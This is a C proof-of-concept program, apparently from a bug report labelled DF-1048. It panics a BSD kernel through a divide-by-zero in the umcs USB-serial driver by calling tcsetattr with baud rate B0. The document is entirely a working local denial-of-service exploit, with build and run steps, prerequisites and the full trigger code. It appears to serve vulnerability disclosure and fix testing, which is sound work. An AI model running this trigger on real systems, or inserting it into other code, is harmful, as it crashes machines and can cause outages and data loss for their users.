/* SPDX-License-Identifier: BSD-2-Clause
 * DF-1048 PoC: kernel divide-by-zero in umcs7840_calc_baudrate.
 *
 * Any local user with write access to /dev/ttyU* or /dev/cuaU* can panic
 * the kernel with a single tcsetattr using B0 (c_ospeed == 0).
 *
 * Build:  cc -o trigger trigger.c
 * Run:    ./trigger /dev/cuaU0      # or /dev/ttyU0
 *
 * Prerequisites:
 *   - MCSCHIP MCS7820 or MCS7840 USB-serial adapter attached.
 *   - umcs driver loaded (default for the matching USB VID/PID).
 *   - Caller has rw access to the ttyU/cuaU device node (typically granted
 *     via the operator or dialout group).
 *
 * Expected result:
 *   The tcsetattr() never returns; the kernel panics with "Fatal trap 17:
 *   divide-by-zero fault in kernel mode" inside umcs7840_calc_baudrate.
 */
#include <sys/ioctl.h>
#include <termios.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
    const char *dev = argc > 1 ? argv[1] : "/dev/cuaU0";
    int fd = open(dev, O_RDWR | O_NONBLOCK);
    if (fd < 0) {
        perror(dev);
        return 1;
    }

    struct termios t;
    if (tcgetattr(fd, &t) != 0) {
        perror("tcgetattr");
        close(fd);
        return 1;
    }

    /* Set output baud to B0 (c_ospeed == 0).  POSIX defines B0 as "hang up
     * modem lines" — every tty/serial API in the BSDs accepts it.  umcs,
     * however, feeds 0 straight into umcs7840_calc_baudrate which divides
     * by rate, trapping #DE in kernel mode. */
    cfsetospeed(&t, B0);
    cfsetispeed(&t, B0);

    fprintf(stderr, "[+] about to tcsetattr(TCSANOW) with B0 on %s\n", dev);
    fprintf(stderr, "[+] expect kernel panic from umcs7840_calc_baudrate\n");

    /* This call does not return. */
    int rc = tcsetattr(fd, TCSANOW, &t);
    if (rc != 0) {
        perror("tcsetattr");  /* if the kernel rejects B0 via EINVAL, the bug is fixed */
    } else {
        fprintf(stderr, "[?] tcsetattr succeeded — bug appears to be fixed\n");
    }

    close(fd);
    return 0;
}
